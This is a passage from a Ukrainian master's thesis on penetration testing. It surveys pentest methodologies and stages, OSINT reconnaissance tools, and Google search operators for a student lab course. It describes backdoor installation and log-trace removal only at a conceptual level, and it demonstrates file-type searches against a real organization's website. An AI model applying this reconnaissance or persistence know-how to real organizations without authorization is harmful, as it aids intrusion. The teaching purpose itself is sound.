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РЕФЕРАТ 
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Актуальність теми. У сучасному світі питання безпеки інформаційних 

систем, що зберігають інформаційні ресурси, набувають важливого значення. 

Разом з тим залишається незрозумілою стійкість систем захисту об'єктів до 

реальних атак. Для перевірки стійкості до атак об'єкти піддаються процедурі 

тестування, а саме – тестуванню на проникнення. Суть таких робіт полягає у 

санкціонованій спробі обійти існуючий комплекс засобів захисту 

інформаційної системи. Під час тестування аудитор виконує роль 

зловмисника, мотивованого на порушення інформаційної безпеки (ІБ) мережі 

замовника. Тому вміння виконувати тестування на проникнення, що дозволить 

отримати більш повне уявлення про проблемні, з точки зору безпеки, місця в 

інфраструктурі, є актуальним завданням.  

Очевидно, що підготовка фахівців, здатних проводити тестування на 

проникнення на замовлення організацій, передбачає не тільки наявність 

теоретичних знань, а й використання спеціалізованих лабораторій зі 

спеціально налагодженою інфраструктурою та програмно-технічною базою. 

Об’єкт дослідження – процеси та системи тестування на проникнення. 

Предмет дослідження – методи тестування на проникнення, що дають 

тестувальнику розуміння основних векторів атак, є послідовними та 

структурованими, скорочують  витрати часу на прийняття рішень.  

Мета роботи – проаналізувати особливості реалізації тестування на 

проникнення за допомогою інструментів, що знаходяться у відкритому 

доступі з метою виявлення існуючих вразливих місць в елементах ІТ-

інфраструктури, практичної демонстрації можливості використання 

вразливостей (на прикладі найбільш критичних) та розробка лабораторних 

робіт, як частини програми підготовки студентів спеціальності 125 

“Кібербезпека”, для підвищення якості навчального процесу та оволодіння 



 

 

практичними навичками техніки зламу в контрольованому середовищі для 

досягнення кращої безпеки комп’ютерних систем.  

Задачі дослідження: 

–  аналіз принципів та прийомів пов’язаних із застосуванням етичних 

методів зламу та проникнення в комп’ютерні системи; 

–  застосування сучасних методів та інструментів зламу, які зазвичай 

використовуються для компрометації комп’ютерних систем;  

– розробка циклу лабораторних робіт для студентів спеціальності 125 

«Кібербезпека» з дисципліни «Захищені мережні технології», що дозволить 

ефективніше засвоїти матеріал – зрозуміти основи експлуатації вразливостей та 

усвідомити важливість та необхідність захисту комп'ютерних систем та мереж. 

Наукова новизна одержаних результатів. Представлене в 

магістерській роботі тестування на проникнення у віртуальному 

лабораторному середовищі базується на актуальних версіях інструментів для 

зламу, які використовуються в галузі інформаційної безпеки. 

Практичне значення одержаних результатів. Розроблено цикл 

лабораторних робіт для студентів спеціальності 125 «Кібербезпека», що 

покликані допомогти студентам зрозуміти, як на практиці відбувається процес 

збирання інформації, процес отримання інформації від мережних сервісів 

(сканування мережі), процедура пошуку та експлуатації вразливостей у рамках 

проведення тестування на проникнення (Додаток А). 

Апробація результатів: прийнято участь у ХІ Міжнародній науково-

технічній конференції «Радіотехнічні поля, сигнали, апарати та системи», 22-

24 листопада 2022 р. КПІ ім. Ігоря Сікорського, Київ. Доповідь на тему: 

«Розвідка на основі відкритих джерел» [1]. 
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ПЕРЕЛІК СКОРОЧЕНЬ 

 

 

ДСТУ – Державний стандарт України; 

ДЦКЗ – Державний центр кіберзахисту; 

ІБ – Інформаційна безпека; 

НД ТЗІ – Нормативний документ системи технічного захисту 

інформації; 

ОС – Операційна система; 

ПЗ – Програмне забезпечення;  

ЦП – Центральний процесор; 

CERT – UA (Computer Emergency Response Team – Ukraine) – Команда 

реагування на комп’ютерні надзвичайні події в Україні; 

CIDR (Classless Inter Domain Routing) – Безкласова міждоменна 

маршрутизація; 

CVE (Common Vulnerabilities and Exposures) – Поширені вразливості та 

ризики; 

CVSS (Common Vulnerability Scoring System) – Загальна система оцінки 

вразливостей; 

DDoS-attack (Distributed Denial of Service attack) – Розподілена атака 

на відмову в обслуговуванні; 

DNS (Domain Name System) – Система доменних імен; 

ICMP (Internet Control Message Protocol) – Протокол керуючих 

повідомлень в Інтернеті; 

ID (Identifier) – Ідентифікатор; 

IDS (Intrusion Detection System) – Система виявлення вторгнення; 

IIS (Internet Information Server) – Інформаційний сервер Інтернету; 

IMAP (Internet Message Access Protocol) – Протокол доступу 

до інтернет-повідомлень; 

IPS (Intrusion Prevention System) – Система запобігання вторгненням; 

IP (Internet Protocol) – Інтернет протокол; 
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HTTP (Hypertext Transfer Protocol) – Протокол передачі гіпертекстових 

документів; 

FTP (File Transfer Protocol) – Протокол передачі файлiв; 

NIST (National Institute of Standards and Technology) – Національний 

інститут стандартів і технології; 

OpenVAS (Open Vulnerability Assessment System) – Відкрита система 

оцінки вразливостей; 
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OWASP (Open Web Application Security Project) – Відкритий проект 
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POP3 (Post Office Protocol ver.3) – Протокол поштового 

відділення третьої версії ; 

VPN (Virtual Private Network) – Віртуальна приватна мережа; 

SMTP (Simple Mail Transfer Protocol) – Простий протокол передачі 
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SSL (Secure Sockets Layer) – Рівень захищених сокетів; 

SYN (Synchronization Packet) – Пакет синхронізації; 
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ВСТУП 

 

В сучасному світі цифровізація стала невід'ємним компонентом нашого 

повсякденного життя. В свою чергу, зростання інформаційної інфраструктури 

організацій призводить до зростання кількості вразливостей та збільшення 

можливостей доступу до інформації з боку зовнішніх та внутрішніх 

порушників. 

Основними чинниками виникнення загроз безпеки є: 

1. Бездротові локальні мережі, що користуються популярністю в 

багатьох організаціях завдяки простоті використання та гнучкості. Однак, 

бездротові мережі сприйнятливі до підслуховування. 

2. Складна топологія мережі. Раніше було достатньо однієї операційної 

системи для керування мережею. Сьогодні адміністратори окрім основних 

завдань з адміністрування великої кількості засобів захисту та мережного 

обладнання підтримують роботу кількох операційних систем. А тим часом 

технології ускладнюються з кожним роком. Статичного веб-сайту, 

розміщеного на веб-сервері, недостатньо. Тепер компаніям потрібні кілька 

міжмережних екранів, шифрувальних засобів, кластери з балансуванням 

навантаження, серверні бази даних та динамічні інтерфейсні веб-сайти. Таке 

підвищення складності технологій та топологій мереж ускладнює 

адміністраторам можливість забезпечувати належний захист від загроз 

безпеці.  

3. Частота оновлень програмного забезпечення. Поряд із підвищенням 

складності відбувається збільшення кількості виправлень програмного 

забезпечення, які необхідно встановлювати. Адміністраторам важко 

залишатися в курсі всіх необхідних виправлень, щоб встановити їх своєчасно 

та убезпечити свої системи. В результаті системи залишаються не оновленими 

і, отже, вразливими до атак.  

4. Доступність інструментів злому. Існує безліч програмних засобів для 

атак на мережі, більшість з яких безкоштовні і знаходяться у відкритому 
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доступі (Додаток Б). Що ще гірше, для роботи багато цих інструментів не 

вимагають детального розуміння принципів роботи мереж і комп'ютера, що 

полегшує проведення атак для всіх, хто має базові навички володіння 

комп'ютером.  

5. Відкрите програмне забезпечення. Незважаючи на те, що доступність 

вихідних кодів є перевагою для багатьох, воно також полегшує процес 

виявлення вразливостей. Оскільки хакери можуть читати вихідний код, вони 

можуть швидко виявляти вразливості, наприклад, вразливості, пов'язані з 

переповненням буфера, що дозволяють порушити роботу програми або 

призводять до виконання довільного коду.  

6. Неконтрольовані віддалені користувачі. Дедалі більше компаній 

дозволяють співробітникам працювати віддалено. На жаль, адміністратори 

безпеки не можуть контролювати ці віддалені системи. Зловмисники, які 

знають про ці віддалені з'єднання, можуть використовувати їх у своїх 

інтересах. 

Тому з метою виявлення вразливих місць та посилення безпеки 

організації виникає потреба у проведенні тестування на проникнення. Один із 

популярних способів оцінки організаціями своєї захищеності від атак – це 

залучення зовнішніх фірм та дослідників безпеки, які спеціалізуються на 

тестуванні безпеки комп'ютерних систем. 

Підвищення рівня підготовки фахівців у цій галузі є важливим 

завданням. Лабораторний практикум є одним із затребуваних та необхідних 

методів навчання. При виконанні лабораторних робіт студенти отримують 

потрібний їм досвід практичних занять, також спостерігається краще 

розуміння та засвоєння теоретичного матеріалу, оскільки відбувається дотик 

теорії та практики, де поняття та визначення, які раніше мали лише 

теоретичний характер, стають більш конкретними та застосовними у 

реальному житті. Лабораторні заняття допомагають студентам за допомогою 

експериментів поглиблювати та закріплювати отримані теоретичні знання у 

своїй професійній сфері.  
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1 ОГЛЯД МЕТОДІВ ПРОВЕДЕННЯ ТЕСТУВАННЯ НА 

ПРОНИКНЕННЯ ДЛЯ ОЦІНКИ ЗАХИЩЕНОСТІ 

КОМП’ЮТЕРНИХ СИСТЕМ 

 

Етичний злам, також відомий як тестування на проникнення – це 

процес зламу системи з дозволу та юридичної згоди організації чи фізичної 

особи, яка є власником та керує системою, з метою виявлення вразливих місць 

та посилення безпеки організації [2, 3]. Тестування на проникнення є однією з 

методик знаходження вразливих областей системи для вторгнення та 

порушення цілісності, доступності та конфіденційності з боку зловмисників.  

1. Загроза цілісності (неправомірної зміни даних) – це ризик зміни 

даних неавторизованими користувачами. 

2. Загроза доступності являє собою створення таких умов, за яких 

доступ до послуги чи інформації буде або заблокований, або можливий за час, 

який не забезпечить виконання тих чи інших бізнес-цілей. 

3. Загроза порушення конфіденційності полягає в тому, що існує ризик 

розкриття інформації тим, хто не має повноважень доступу до неї. Вона має 

місце, коли отримано доступ до деякої інформації з обмеженим доступом, що 

зберігається в обчислювальній системі або передається від однієї до іншої 

системи. 

Процес тестування на проникнення полягає в цілеспрямованій 

санкціонованій атаки на систему або її компонент, здатні виявити її слабкі 

місця та прогалини у будові захисту інформації від сторонніх проникнень [4]. 

Також тестування на проникнення може бути застосоване як доповнення до 

інших методів перевірки для оцінки ефективності захисту інформації від 

різних типів атак. Таким чином, тестування на проникнення – це перевірка у 

реальному часі, яка може проводитися як вручну, так і за допомогою 

інструментів автоматизації; внаслідок чого, система та її компоненти 

піддаються впливу контрольованих та зловмисних атак для виявлення 

вразливостей у системі захисту інформації.  
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Передбачається, що інфраструктура, що досліджується, захищена, коли 

можливість витоку, крадіжки або зміни оброблюваної інформації зберігається 

на прийнятному рівні. Прийнятний рівень визначається шляхом проведення 

аналізу витрат-ризиків, при якому вартість захисту даних зіставляється з 

ризиком втрати або компрометації даних. Ціль тестування на проникнення 

полягає не в зниженні ризику до нуля, а в зниженні ризику до прийнятного 

рівня, встановленого керівництвом. Зрештою, залишається певний 

залишковий ризик, який можна прийняти. 

 

1.1 Тестування на основі принципів «білої», «сірої» та «чорної 

скриньки»  

 

Умовно всі варіанти проведення тестування можна співвіднести до 

трьох основних принципів [5, 6].  

1. Метод «чорної скриньки» (blackbox). У ході такого тестування 

досліднику невідомо нічого про мережу компанії. Наприклад, якщо це 

зовнішнє тестування методом «чорної скриньки», досліднику може бути 

надано лише адресу веб-сайту та його завданням є зламати так, якби він був 

реальним зловмисником.  

2. Метод "білої скриньки" (whitebox). У ході тестування за методом 

«білої скриньки» дослідник має повне уявлення про внутрішню організацію 

мережі. Перед проведенням тестів досліднику можуть бути надані схеми 

мережі або список операційних систем і додатків, що використовуються. Хоча 

в реальному житті така ситуація малоймовірна, метод є найефективнішим і 

найточнішим, оскільки він є найгіршим сценарієм, при якому зловмисник має 

повне уявлення про мережу. 

3. Метод «сірої скриньки» (graybox). У ході тестування за методом 

«сірої скриньки» дослідник імітує дії співробітника організації, тобто він 

отримує обліковий запис для доступу до внутрішньої мережі та стандартні 

права на доступ. Цей метод дозволяє оцінити внутрішні загрози, що 

виникають із боку співробітників компанії. 
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1.2 Існуючі методології для тестування інформаційної безпеки 

 

Методології пентесту, які імітують поведінку можливого зловмисника, 

мають вирішальне значення для виявлення та усунення вразливостей. Було 

розроблено різні підходи до тестування на проникнення, які допомагають 

експертам з безпеки виконувати це безпечно та успішно [7 – 20]. 

На даний час найбільш розповсюдженими методологіями проведення 

тестування на проникнення є [21 – 23]: 

− The Open-Source Security Testing Methodology Manual (OSSTMM);  

− The National Institute of Standards and Technology (NIST) Special 

Publication 800-115; 

− Open Web Application Security Project (OWASP); 

− Penetration Testing Execution Standard (PTES); 

− Information Systems Security Assessment Framework (ISSAF). 

 

1.2.1 OSSTMM 

 

Керівництво з методології тестування безпеки з відкритим кодом 

(OSSTMM) – це рішення з відкритим кодом, розроблене Інститутом безпеки 

та відкритих методологій (Institute for Security and Open Methodologies, 

ISECOM). Це керівництво містить багато інструкцій щодо проведення 

тестування на проникнення. В ньому також наведено тестові випадки, що 

надають корисну інформацію, яка може помітно покращити вашу операційну 

безпеку. 

Методологія, описана в OSSTMM, стосується п'яти каналів безпеки: 

− людського; 

− фізичного; 

− бездротового; 

− телекомунікаційного; 

− мережного. 
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OSSTMM пропонує більш загальну методологію, яку можна 

застосувати практично до будь-якої ситуації. Керівництво можна розділити на 

чотири фази: 

1. Фаза індукції (Induction). 

2. Фаза взаємодії (Interaction). 

3. Фаза розслідування (Inquest). 

4. Фаза втручання (Intervention). 

Перші кроки (індукція та взаємодія) зводяться до визначення 

периметрів тесту на проникнення та його обсягу. На цьому кроці також 

обговорюються типи тестів і обмеження. Ці два кроки дуже важливі, щоб 

уникнути втрати часу та оптимізувати результати. Кожна деталь повинна бути 

обговорена з клієнтом і добре зрозуміла постачальнику послуг. 

 

1.2.2 NIST 

 

NIST (Національний інститут стандартів і технологій) пропонує 

конкретний і точний набір вказівок у своєму посібнику з методології 

тестування на проникнення для зміцнення загальної позиції кібербезпеки 

організації. Остання версія цього посібника з безпеки наголошує на 

кібербезпеці критичної інфраструктури та зменшує ризики кібератак.  

Ця методологія технічного тестування на проникнення включає: 

− методи перевірки ; 

− оцінки для регулярно цільових вразливостей; 

− рекомендації щодо аналізу результатів тестування;  

− розробка заходів щодо мінімізації ризиків безпеки. 

Стандартна методологія NIST розділена на три основні етапи, а саме: 

1. Планування. 

2. Виконання. 

3. Пост-виконання. 
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Стандарт надає більш загальну інформацію про кожен із цих кроків в 

окремому розділі. Однак основна ідея залишається незмінною. Етап 

планування означає момент, коли визначаються та обговорюються обсяг і 

правила взаємодії. Далі, етап виконання, на якому виконується пошук 

вразливостей та їх тестування за допомогою опублікованих експлойтів або 

новоствореного експлойту. Після того, як усе зроблено, запускається процес 

пост-виконання, щоб зібрати та систематизувати висновки для підготовки 

професійного звіту. 

 

1.2.3 OWASP 

 

Проект захисту відкритих веб-додатків (OWASP) є найбільш визнаним 

стандартом у галузі. Ця методологія, створена завдяки дуже добре обізнаній 

спільноті, яка стежить за найновішими технологіями, допомогла великій 

кількості організацій приборкати вразливі місця програм. Цей фреймворк 

надає методологію для тестування на проникнення веб-додатків, яка може не 

лише ідентифікувати вразливості, які зазвичай зустрічаються у веб-додатках і 

мобільних додатках, а й знаходити складні логічні недоліки, які виникають 

через небезпечну практику розробки.  

Оновлений посібник OWASP містить вичерпні вказівки для кожного 

методу тестування на проникнення, із загалом понад 66 елементами керування 

для оцінки, що дозволяє тестувальникам визначати вразливості в широкому 

спектрі функціональних можливостей сучасних програм. За допомогою цієї 

методології організації краще підготовлені до захисту своїх додатків – як веб-

так і мобільних – від типових помилок, які можуть мати потенційно критичний 

вплив на їхній бізнес. 

Методологія OWASP базується на тестуванні 11 компонентів, які 

можуть зробити будь-яку веб-програму вразливою та які необхідно 

перевірити: 

− керування конфігурацією та розгортанням; 

− управління ідентифікацією; 
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− автентифікація; 

− авторизація; 

− керування сеансами; 

− перевірка введених даних; 

− обробка помилок; 

− слабка криптографія; 

− бізнес-логіка; 

− клієнтські застосунки; 

− API. 

OWASP вимагає також етапу збору інформації перед початком 

тестування 11 компонентів. 

Використання стандарту OWASP під час оцінки безпеки додатків 

гарантує, що жодні вразливості не залишилися позаду, і що організація 

отримає реалістичні рекомендації, адаптовані до конкретних функцій і 

технологій, які використовуються у програмах. 

 

1.2.4 PTES 

 

Стандарт виконання тесту на проникнення (PTES) — це стандарт тесту 

на проникнення, який визначає різні кроки та елементи для тестування під час 

пентестінгу. Цей стандарт дає розпливчасті вказівки щодо того, що потрібно 

перевірити, не надаючи деталей про інструменти та використані методи. 

Однак, PTES містить дуже детальні технічні вказівки, які описують елементи 

для тестування.  

 

Методологія PTES складається з наступних семи кроків:  

− попередня взаємодія;  

− збір розвідувальних даних; 

− моделювання загроз; 

− аналіз вразливостей; 
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− експлуатація; 

− постексплуатація; 

− звітність. 

Етап попередньої взаємодії стосується визначення обсягу та 

периметрів тестів. Це дуже важливий крок у тестуванні на проникнення, 

оскільки він допомагає постачальнику послуг зосередитися на правильних 

діях, а клієнту – краще контролювати хід тестування на проникнення. 

Методологія PTES надає багато деталей, які можуть бути дуже корисними як 

для тестувальника, так і для клієнта, щоб правильно визначити його сферу дії 

та правила взаємодії. Після чіткого визначення масштабу, наступним кроком 

є збір розвідувальних даних. На цьому рівні тестувальник починає як пасивно, 

так і активно збирати якомога більше інформації про ціль. 

Моделювання загроз, яке є наступним кроком після збору 

розвідувальних даних, спрямоване на ідентифікацію активів компанії, 

класифікуючи їх на основні та вторинні. Ідея полягає в тому, щоб встановити 

взаємозв'язок між зібраною інформацією та визначити потенційні ризики та 

загрози безпеці.  

Аналіз вразливості – це процес тестування та перевірки наявності 

вразливості в системі. Вразливості можуть впливати як на сервери, так і на 

програми. Після того, як вразливості успішно підраховані та занесені до 

файлу, починається фаза експлуатації, щоб перевірити ці вразливості та 

створити підтвердження концепції. Аналіз вразливостей та етап експлуатації 

доповнюють один одного і не можуть бути розділені. 

Постексплуатація – це крок, на якому виконується доступ до системи 

шляхом створення бекдорів або через реалізацію атаки з підвищенням 

привілеїв. 

Після того, як усі ці кроки успішно виконано, завершальним кроком є 

звітування. На цьому кроці проводиться збір та систематизація всієї 

інформації про ціль у вигляді професійного звіту. Звіт має містити всі кроки 
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для успішного відтворення будь-якої виявленої вразливості. Потім ці деталі 

використовуватимуться розробниками для вирішення зазначених проблем. 

 

1.2.5 ISSAF 

 

Методика Платформи оцінки безпеки інформаційних систем (ISSAF) 

дещо відрізняється від інших. Вона поділяється на три основні етапи: 

1. Планування та підготовка. Перший етап завжди однаковий для всіх 

попередніх методологій. Постачальник послуг повинен провести зустрічі з 

клієнтом, щоб визначити обсяг, отримати список контактів, з якими він може 

спілкуватися, та правила взаємодії. 

2. Оцінювання. На етапі оцінювання фактично починається технічне 

тестування на проникнення. Цей етап виконується за наступними кроками: 

− збір інформації; 

− відображення мережі; 

− ідентифікація вразливостей; 

− проникнення; 

− отримання доступу та підвищення привілеїв; 

− підрахунок; 

− злам віддалених користувачів/сайтів; 

− підтримання доступу; 

− прибирання слідів. 

3.Звітування, очищення та знищення артефактів. Наприкінці 

методології тестування на проникнення тестувальник повинен надати 

професійний і детальний звіт, який містить такі елементи: 

− зведена інформація про управління; 

− обсяг проекту; 

− інструменти, які були використані (включаючи експлойти); 

− дати та час фактичних випробувань систем; 

− кожен окремий результат виконаних тестування; 
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− список усіх виявлених вразливостей з доданими рекомендаціями 

щодо вирішення виявлених проблем. 

− список точок активності. 

 

1.3 Етапи тестування на проникнення  

 

Як показано в пп. 1.2.1 – 1.2.5, всі методології, з невеликими 

відхиленнями, передбачають наступний сценарій проведення тесту на 

проникнення: 

1. Розвідка. Перший етап. На етапі розвідки дослідник робить спроби 

зібрати якнайбільше інформації про обрану ціль. Розвідка може бути 

активною та пасивною. При активній розвідці дослідник безпеки використовує 

такі інструменти, як nslookup, dig або SamSpade для дослідження цільової 

мережі, наприклад, з метою визначення діапазону IP-адрес. При пасивній 

розвідувальній атаці дослідник безпеки використовує загальнодоступну 

інформацію для того, щоб дізнатися про технології, що використовуються в 

організаціях. 

2. Сканування. Пошук вразливості. Другий етап. Тут дослідник безпеки 

вивчає топологію мережі шляхом сканування відкритих портів за допомогою 

таких інструментів як Nmap. Мета – визначити служби, запущені на цільових 

хостах. Також на цьому етапі дослідник безпеки виконує визначення типу 

операційної системи. Етап сканування також включає перевірку на наявність 

вразливостей з використанням сканерів вразливостей, але також і з 

використанням ручного пошуку вразливостей. Заключною дією на даному 

етапі є отримання списку потенційних вразливостей, який ще доведеться 

перевірити на проникнення. Тестування на наявність вразливостей передує 

виявлення методів отримання доступу до цільового вузла. 

3. Перевірка та використання вразливості. Отримання доступу. Третій 

етап. Після перевірки цільової мережі на наявність вразливостей, дослідник 

безпеки намагається експлуатувати ці вразливості та, у разі успіху, робить 

кроки для підтримки доступу до цільового хоста. 
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4. Розширення привілеїв. Підтримка доступу. Четвертий етап. 

Підтримка доступу здійснюється шляхом встановлення бекдорів, які 

дозволяють досліднику безпеки повторно підключатися до системи. 

5. Видалення слідів. П'ятий етап. Видалення слідів проникнення. 

Дослідники перевіряють, чи можуть бути стерті файли журналів, які 

зберігають сліди їх активності у мережі. 

6.  Складання звіту. Звіт, зазвичай, формується паралельно з іншими 

етапами тесту на проникнення. На етапах збору інформації та проведення 

комп'ютерних атак зазвичай ведуться журнали успішних атак, перевірених та 

виявлених вразливостей, періодично надсилаються звіти системним 

адміністраторам та/або керівництву. Після завершення тестування формується 

звіт про тестування, в якому наводиться опис проведених тестів, виявлених 

вразливостей, оцінюється потенційна шкода внаслідок їх експлуатації 

реальним зловмисником. Результати тестування безпеки повинні бути 

задокументовані та надані відповідним посадовим особам, до яких можуть 

входити ІТ-директор, голова відділу інформаційної безпеки, а також 

відповідні менеджери продукту або власники системи. 

 

1.4 Висновки до розділу 1 

 

Порівнюючи з реальним нападом зловмисника, комплексний процес 

тестування на проникнення можна поділити на етапи, які мають виконуватися 

впорядковано. Для подальшого дослідження та розробки циклу лабораторних 

робіт з тестування на проникнення (Додаток А) пропонується взяти 

послідовність дій від імені зловмисників та урізноманітнити застосуванням 

ефективного інструментарію. 
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2 АНАЛІЗ РІЗНИХ МЕТОДІВ РОЗВІДКИ 

 

Перший етап злому будь-якої інформаційної системи починається зі 

збору максимальної кількості інформації про ціль. Майже ніколи не вдається 

зібрати всю інформацію з одного-єдиного джерела. Дані доводиться збирати з 

багатьох різних місць, щоб згодом отримати повну картину інформаційної 

системи організації. На цьому етапі виявляються слабкі місця мережі, через 

які у майбутньому і буде здійснюватися проникнення в систему. При 

правильному підході можна виявити не тільки потенційно вразливі місця, а й 

намітити можливі вектори атаки на зазначену ціль. 

Є в основному два типи розвідки, які можуть бути виконані, відомі як 

«активна» та «пасивна» [24]. Пасивна розвідка – це метод, за допомогою якого 

робляться спроби зібрати інформацію про ціль та її мережу без активної участі 

в системі. Активна розвідка – це метод, у якому роблять спроби зібрати 

інформацію шляхом активної взаємодії із системою. 

 

2.1 Методи збору інформації 

 

Збір інформації є ключовим елементом проведення пентесту. Від того, 

наскільки якісно його було здійснено, може залежати як ефективність 

пентесту в цілому, так і ефективність відпрацювання окремих векторів атаки. 

Для проведення успішної атаки знайде застосування будь-яка доступна 

інформація про підприємство/організацію [8 – 10].  

Зазвичай, маючи лише назву організації, починають збирання таких 

даних: 

− домени; 

− мережні адреси чи мережні блоки; 

− місцезнаходження; 

− контактна інформація; 

− новини про злиття або придбання; 
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− вакансії; 

− посилання на пов'язані з організацією веб-сервіси; 

− різні документи; 

− структура організації 

та ін. 

Від того, як буде проведено збір інформації, залежить напрямок, а 

також тип та успішність атаки. Здебільшого процес збору інформації не 

вимагає спеціальних знань, достатньо вміння користуватися пошуковими 

системами. Найчастіше вони індексують навіть інформацію, яку намагалися 

приховати від зовнішнього світу. 

Один із методів отримання інформації з відкритих джерел – OSINT 

(Open Source INTelligence) [11 – 13], включає пошук, акумулювання та аналіз 

інформації, отриманої із загальнодоступних джерел в Інтернеті. Ключовою 

метою є пошук інформації, що становить цінність для зловмисника чи 

конкурента. У розрізі кібербезпеки OSINT найчастіше застосовується для 

збирання публічних даних про компанію, і це стосується не тільки інформації 

про email-адреси її співробітників. Не менш цікавою буде інформація про: 

DNS-імена та IP-адреси; інформація о доменах та субдоменах, зареєстрованих 

за компанією; факти компрометації поштових адрес; відкритих портах та 

сервісах на них; публічних експлойтів для знайдених сервісів; конфіденційні 

документи; наявні механізми безпеки. 

Одним із найпопулярніших і доступних способів під час збору даних 

про ціль є використання онлайн-сервісів. Узагальнена база таких сервісів 

називається osintframework [25 – 28].  

 

2.1.1 Recon-ng 

 

Recon-ng – це повнофункціональний розвідувальний фреймворк, 

розроблений з метою забезпечення потужного середовища для швидкого та 

ретельного проведення веб-розвідки з відкритим кодом. Простий інтерфейс на 
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основі команд дозволяє Recon-ng виконувати типові операції, такі як взаємодія 

з базою даних, виконання веб-запитів, керування ключами API або 

стандартизація вихідного вмісту. Цей фреймворк веб-розвідки написаний на 

Python і містить багато модулів, зручних функцій та інтерактивну довідку, яка 

допоможе правильно ним користуватися. За допомогою Recon-ng, 

використовуючи простий пошук, можна знайти веб-камери, паролі за 

замовчуванням, маршрутизатори, світлофори тощо. 

 

2.1.2 Shodan 

 

Shodan – скорочено від Sentient Hyper-Optimized Data Access Network 

(Розумна гіпероптимізована мережа доступу до даних), ця пошукова система 

відображає та збирає інформацію з мільйонів підключених до Інтернету 

пристроїв і систем по всьому світу. Таке налаштування робить моніторинг 

мережі легким. Команди з кібербезпеки можуть використовувати 

функціональність Shodan для моніторингу пристроїв і серверів у своїй мережі, 

які мають прямий доступ до Інтернету – і, отже, піддаються атакам. Інші 

додатки пошукової системи Shodan включають дослідження ринку, аналіз 

вразливостей і тестування на проникнення. 

 

2.1.3 Maltego 

 

Maltego – це програмне забезпечення, яке використовується для 

розвідки та криміналістики з відкритим кодом, розроблене Paterva [25]. Це 

графічний інструмент аналізу посилань для збору та об'єднання інформації для 

завдань розслідування. Використання Maltego дозволяє запускати 

розвідувальне тестування щодо конкретних цілей. Щоб використовувати 

Maltego, потрібно створити безкоштовний обліковий запис на їх веб-сайті, 

після чого можна запустити нову пошукову машину або запустити 

перетворення на цільовій машині з існуючої. Після того, як буде обрана 
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трансформація, програма Maltego почне запускати всі трансформації з 

серверів Maltego. Maltego написане на Java і працює з усіма операційними 

системами. Воно попередньо встановлене у Kali Linux. Maltego широко 

використовується завдяки своїй зручній для розуміння моделі сутності-

зв’язку, яка представляє всі важливі деталі. 

 

2.1.4 theHarvester 

 

theHarvester – це дуже простий у використанні, але потужний і 

ефективний інструмент, призначений для використання на ранніх етапах 

тестування на проникнення. Використовується для збору розвідувальних 

даних із відкритим кодом (OSINT), щоб допомогти визначити склад зовнішніх 

загроз компанії в Інтернеті. Інструмент збирає електронні адреси, імена, 

субдомени, IP-адреси та URL-адреси, використовуючи численні 

загальнодоступні джерела даних. theHarvester використовує багато ресурсів 

для отримання даних, таких як сервери ключів PGP, Bing, Baidu, Yahoo і 

пошукової системи Google, а також соціальні мережі, такі як Linkedin, Twitter 

і Google Plus. Можливість пошуку віртуальних хостів – ще одна цікава функція 

theharvester. Через роздільну здатність DNS програма перевіряє кількість імен 

хостів, що пов’язані з певною IP-адресою. 

 

2.1.5 Metagoofil 

 

Metagoofil – це безкоштовний інструмент із відкритим вихідним кодом 

для отримання всієї інформації метаданих із публічних документів [27], 

доступних на веб-сайтах(pdf, doc, xls, ppt, docx, pptx, xlsx), що належать 

цільовій компанії. Цей інструмент використовує дві бібліотеки для вилучення 

даних – Hachoir та PdfMiner. Після отримання всіх даних Metagoofil створює 

звіт, який містить імена користувачів, версії програмного забезпечення та 

назви серверів або машин, що допомагає тестувальникам на проникнення на 
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етапі збору інформації. Цей інструмент також може отримувати MAC-адреси 

з документів Microsoft Office та надавати інформацію про апаратне 

забезпечення системи, за допомогою якої створюється звіт. 

 

2.1.6 SpiderFoot 

 

SpiderFoot – це інструмент розвідки, який автоматично запитує понад 

100 загальнодоступних джерел даних (OSINT) для збору інформації про IP-

адреси, доменні імена, адреси електронної пошти, імена тощо. Для цього 

потрібно просто вказати ціль дослідження, обрати, які модулі ввімкнути, а 

потім SpiderFoot збере дані, щоб створити розуміння всіх сутностей і того, як 

вони пов’язані між собою. SpiderFoot можна використовувати для спрощення 

процесу компіляції OSINT для пошуку інформації про ціль шляхом 

автоматизації процесу збору. Якщо хтось завантажить зображення в будь-яку 

із загальнодоступних соціальних мереж з активованою функцією геолокації, 

SpiderFoot зможе побачити повну активну інформацію про те, де була ця 

особа. 

 

2.1.7 OSINT Framework 

 

Фреймворк OSINT зосереджений на зборі інформації з безкоштовних 

інструментів або ресурсів [28]. Мета фреймворку полягає в тому, щоб 

допомогти людям знайти безкоштовні OSINT-ресурси. Деякі з включених 

сайтів можуть вимагати реєстрації або пропонувати більше даних за певну 

оплату, але OSINT дає можливість отримати принаймні частину доступної 

інформації безкоштовно. 

Фреймворк OSINT можна використовувати для отримання даних 

шляхом аналізу різних публічних платформ. Ці платформи включають 

новини, зображення, платформи соціальних мереж тощо. Фреймворк OSINT є 

благом для цифрового світу, оскільки він допомагає викристалізувати велику 
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частину даних в Інтернеті, дістаючи інформацію, яка є більш актуальною та 

цінною. Інструменти OSINT спрощують життя завдяки феномену сегрегації – 

розділення (відокремлення) інформації. Фреймворки OSINT 

використовуються в різних галузях для досягнення оптимальних результатів. 

 

2.2 Використання пошукових сервісів  

 

Хакер або аудитор може використовувати для збору інформації 

пошуковий сервіс, і не тільки Google, а також Yahoo або будь-який інший. Для 

прискорення та полегшення процесу пошуку та збору інформації можна 

використовувати оператори пошуку. Без них знайти необхідну інформацію 

буде непросто складно, але практично неможливо. 

Наприклад, на запит ukrposhta Google видає близько 1 680 000 

результатів. За запитом site:ukrposhta.ua – 8230, а після уточнення 

site:ukrposhta.ua filetype:doc – всього 27. 

Таким чином, з понад мільйона результатів пошуку відфільтровано 

тільки те, що було цікаво.  

Оператори:  

− оператор site обмежує виведення результатів запиту інформацією з 

одного сайту (приклад використання – site:ukrposhta.ua); 

− оператор filetype використовується для пошуку файлів певного 

типу (приклад використання – filetype:doc); 

− оператор inurl шукає заданий текст лише на url сайту; 

− оператор intitle шукає інформацію, виходячи із заголовка 

документа. 

Порівняльні характеристики цих та інших операторів наведено в 

таблиці 2.1. Як видно з наведеного списку, існує безліч операторів, і кожен з 

них має свої характеристики. У процесі збирання інформації, використання 

Google або іншої пошукової системи з використанням операторів може дійсно 

принести багато корисних результатів. 
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Таблиця 2.1 – Таблиця розвинених операторів [29] 

Оператор Призначення 
Поєднання з 

іншими 
операторами 

Можливість 

самостійного 

використання 

Пошук в 

Web Зображеннях Групах Новинах 

intitle 
Пошук в 

заголовках 

сторінок 

так так так так так так 

allintitle 
Пошук в 

заголовках 

сторінок 

